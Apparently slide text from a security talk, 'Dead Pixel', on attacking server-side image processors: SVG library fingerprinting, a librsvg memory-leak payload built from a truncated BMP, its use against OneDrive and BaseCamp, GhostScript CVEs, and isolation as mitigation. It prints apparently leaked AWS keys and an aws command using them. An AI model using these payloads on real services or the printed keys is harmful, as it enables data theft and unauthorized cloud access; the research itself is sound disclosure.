SlideShare a Scribd company logo
Dead Pixel: A Practical Guide to Attacking
Server-Side Image Processors
Emil Lerner
$ id
Emil Lerner
occasional bughunter
security researcher
Bushwhackers CTF team
Attack Model
🕴️
User
🖥️
Server
📤Multimedia Upload
🖼️Image Preview
Attack Model
👾
Attacker
🖥️
Server
Open-source
library
📤Multimedia Upload
Complicated binary input
🖼️Image Preview
Output Channel
Previous Research
2016 ImageTragick (CVE-2016-3714)
2017 *Bleed
2018 GhostScript escapes
2023 Librsvg vulnerabilities
...to be continued...
SVG
XML based vector image format
A lot of implementations
Supports raster image inclusion
Library Detection: Try Ambigous Payloads
ImageMagick PIL (Pillow) Java AWT
Library Detection For SVG: Try Ambigous Payloads
<svg width="600" height="600" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="data:image/png;base64,..." y="0"/>
<image xlink:href="data:image/pcx;base64,..." y="200"/>
<image path="data:image/png;base64,..." y="400"/>
</svg>
Library Detection For SVG: Try Ambigous Payloads
ImageMagick's SVG parser librsvg Inkscape
LibRSVG
Written in Rust; code is clean
Not that much security vulnerabilities
Used to depend on libgdk-pixbuf for raster
images (not the case anymore)
Libgdk-Pixbuf
Written in C
Code is complicated
Has a history of memory safety issues
Uninitialized Memory Leak In Preview
1
2
3
Same server process
Some business flow
unallocated
memory
SECRET SECRET
malloc()
store data
free()
Buggy library
SECRET SECRET 🖼️
malloc() no overwrite
generate preview
🖼️ 👾 SECRET
download recover
Uninitialized Memory Leak In Preview
Prerequisite: The vulnerable library must
be used in the same system-level process
as the sensitive information
MSAN For Lazy Ones
$ export LD_PRELOAD=$PWD/libmfill.so
$ MALLOC_FILL=AB rsvg-convert test_bmp.svg -o /dev/stdout | sha256sum
ef80535b64f189f0e17ee104efd219a6b97ce1cd3739922285b4c489 -
$ MALLOC_FILL=AB rsvg-convert test_bmp.svg -o /dev/stdout | sha256sum
ef80535b64f189f0e17ee104efd219a6b97ce1cd3739922285b4c489 -
$ MALLOC_FILL=DE rsvg-convert test_bmp.svg -o /dev/stdout | sha256sum
20201eeb30c53adcc5b4483999e0995cd53272195665e95974a7ebc6 -
same
diff
The Issue Itself
Truncate a bmp leaving only header
Put in <image
href="data:image/png;base64,...">
Profit :)
OneDrive
Just upload the payload many times and leak other users' data!
OneDrive
Just upload the payload many times and leak other users' data!
BaseCamp
Librsvg executed in the web server process
(Ruby on Rails)
Lots of interesting data
Had to automate avatar uploading and
downloading
BaseCamp: Fighting JPEG Encoding
<image id="image_0" xlink:href="data:image/bmp;base64,..." />
<filter id="filter_0">
<feComponentTransfer>
<feFuncR type="table" tableValues="..." />
<feFuncG type="table" tableValues="..." />
<feFuncB type="table" tableValues="..." />
<feComponentTransfer>
<filter id="filter_1"> ... </filter>
...
<use xlink:href="#image_0" filter="url(#filter_0)" />
<use xlink:href="#image_0" filter="url(#filter_1)" />
BaseCamp
Dumped memory contained part of a config file with AWS keys...
Ne|rĎty7h6jl=Qj~lpI3>=wproduction_s3_primary:
service: S3
access_key_id: AKIAS5PME4CT5QW2PJJU
secret_access_key: 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
region: us-east-2
bucket: bc3-production-us-east-2
upload:
storage_class: INTELLIGENT_TIERING
:=ǖ%zcf^vl+_L]=WNBC>tAfDhhUBh+"+fa#
BaseCamp
... that were allowed to be used from the outside of BaseCamp!
$ AWS_DEFAULT_REGION=us-east-2 
AWS_ACCESS_KEY_ID=AKIAS5PME4CT5QW2PJJU 
AWS_SECRET_ACCESS_KEY=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 
aws sts get-caller-identity
{
"UserId": "AIDAJ3SCYTQTFCJH2TKGY",
"Account": "200748097703",
"Arn": "arn:aws:iam::200748097703:user/bc3-storage"
}
PostScript
Vector image format
Also, a programming language (for printers)
GhostScript is the most common server-side
interpreter (directly or as a dependency)
GhostScript
CVE-2017-8291
CVE-2018-16509
CVE-2019-3835
CVE-2020-15900
CVE-2020-27792
CVE-2021-45944
CVE-2022-35649
CVE-2022-2085
CVE-2023-36664
CVE-2024-33869
CVE-2024-46952
CVE-2024-29510
CVE-2025-27834
CVE-2025-27836
GhostScript
CVE-2017-8291
CVE-2018-16509
CVE-2019-3835
CVE-2020-15900
CVE-2020-27792
CVE-2021-45944
CVE-2022-35649
CVE-2022-2085
CVE-2023-36664
CVE-2024-33869
CVE-2024-46952
CVE-2024-29510
CVE-2025-27834
CVE-2025-27836
GS is RCE
Demo
0:00 1:5
Mitigation
🕴️
User
Isolated
environment
📤Multimedia Upload
🖼️Image Preview
Isolated Means Isolated
No infrastructure access
No network access (both internal and the
internet)
No container reuse for different users
No sensitive configs in the container
Q & A
neexemil
emil_lerner

More Related Content

PDF
44CON 2013 - Browser bug hunting - Memoirs of a last man standing - Atte Kett...
PDF
44 con slides
PDF
44 con slides (1)
PDF
Stegosploit - Hacking With Pictures HITB2015AMS
PDF
Hacking with Pictures - Hack.LU 2014
PDF
Schizophrenic files v2
PDF
HotPics 2021
PDF
The Image that called me - Active Content Injection with SVG Files
44CON 2013 - Browser bug hunting - Memoirs of a last man standing - Atte Kett...
44 con slides
44 con slides (1)
Stegosploit - Hacking With Pictures HITB2015AMS
Hacking with Pictures - Hack.LU 2014
Schizophrenic files v2
HotPics 2021
The Image that called me - Active Content Injection with SVG Files

Similar to Dead Pixel: A Practical Guide to Attacking Server-Side Image Processors (BSides Prague 2025) (16)

PDF
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images
PDF
Keep Calm and Stegosploit - 44CON 2015
ZIP
Vector Graphics on the Web: SVG, Canvas, CSS3
PDF
Commonly Used Image File Formats
PPTX
Web-App Remote Code Execution Via Scripting Engines
PDF
Hide and seek - interesting uses of forensics and covert channels.
KEY
Canvas: we must go deeper
PPT
Group Presentation
PDF
#PDR15 - Pebble Graphics
PDF
Rainbow Over the Windows: More Colors Than You Could Expect
PDF
Hiding Malicious Content in PDF Documents
PPTX
DEVNET-1191 BGP Enabled Application Development
PPTX
introtoComputerVisionbyarefinlabibbhai.pptx
PDF
First review presentation
PDF
Browsers with Wings
PPTX
File formats resub
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images
Keep Calm and Stegosploit - 44CON 2015
Vector Graphics on the Web: SVG, Canvas, CSS3
Commonly Used Image File Formats
Web-App Remote Code Execution Via Scripting Engines
Hide and seek - interesting uses of forensics and covert channels.
Canvas: we must go deeper
Group Presentation
#PDR15 - Pebble Graphics
Rainbow Over the Windows: More Colors Than You Could Expect
Hiding Malicious Content in PDF Documents
DEVNET-1191 BGP Enabled Application Development
introtoComputerVisionbyarefinlabibbhai.pptx
First review presentation
Browsers with Wings
File formats resub
Ad

Recently uploaded (20)

PDF
NewMind AI Weekly Chronicles - August'25 Week I
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
Empathic Computing: Creating Shared Understanding
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
cuic standard and advanced reporting.pdf
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PPTX
MYSQL Presentation for SQL database connectivity
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PPTX
Cloud computing and distributed systems.
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Approach and Philosophy of On baking technology
PPTX
Programs and apps: productivity, graphics, security and other tools
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PDF
Encapsulation_ Review paper, used for researhc scholars
PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PPTX
sap open course for s4hana steps from ECC to s4
PDF
Electronic commerce courselecture one. Pdf
NewMind AI Weekly Chronicles - August'25 Week I
Unlocking AI with Model Context Protocol (MCP)
Empathic Computing: Creating Shared Understanding
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
cuic standard and advanced reporting.pdf
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
MYSQL Presentation for SQL database connectivity
Understanding_Digital_Forensics_Presentation.pptx
Review of recent advances in non-invasive hemoglobin estimation
Mobile App Security Testing_ A Comprehensive Guide.pdf
Cloud computing and distributed systems.
The Rise and Fall of 3GPP – Time for a Sabbatical?
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Approach and Philosophy of On baking technology
Programs and apps: productivity, graphics, security and other tools
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
Encapsulation_ Review paper, used for researhc scholars
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
sap open course for s4hana steps from ECC to s4
Electronic commerce courselecture one. Pdf
Ad

Dead Pixel: A Practical Guide to Attacking Server-Side Image Processors (BSides Prague 2025)